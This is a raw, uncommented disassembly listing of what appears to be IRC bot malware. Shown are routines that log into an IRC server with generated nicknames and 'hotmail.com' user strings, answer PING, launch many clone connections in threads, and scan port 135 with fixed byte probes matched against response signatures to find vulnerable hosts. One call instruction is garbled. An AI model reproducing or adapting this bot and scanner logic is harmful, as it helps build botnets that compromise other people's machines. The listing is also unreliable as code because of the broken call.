arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA7C

loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------

loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi

loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A6C
		pop	ecx

loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA34

loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB18C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDD0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------

loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_439338
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------

loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439334
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A

loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_439328

loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34

loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax

loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A74[esi]
		mov	dword_4D4A68[esi], edi
		push	dword_4D4C74[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A6C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CBA34
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch

loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A6C[esi]
		call	dword_4CB9FC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D

loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------

loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A6C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------

loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A68[esi], ebx
		mov	esi, dword_4D4A6C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA7C

loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F

loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A68

loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB188
		jl	short loc_417E1F

loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A74[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C74[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A68[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18

loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A78[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------

loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438778[edx*4]

loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A

loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014

loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A78[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch

loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173

loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------

loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173

loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------

loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8

loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------

loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h

loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3

loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6

loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al

loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax

loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax

loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA24
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------

loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439380
		push	esi
		call	dword_4CBA34
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393CC
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9FC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393E8
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------

loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393FC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA7C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi

loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx

loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------

loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax

loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------

loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524

loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F

loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0

loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E

loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]

loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531

loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch

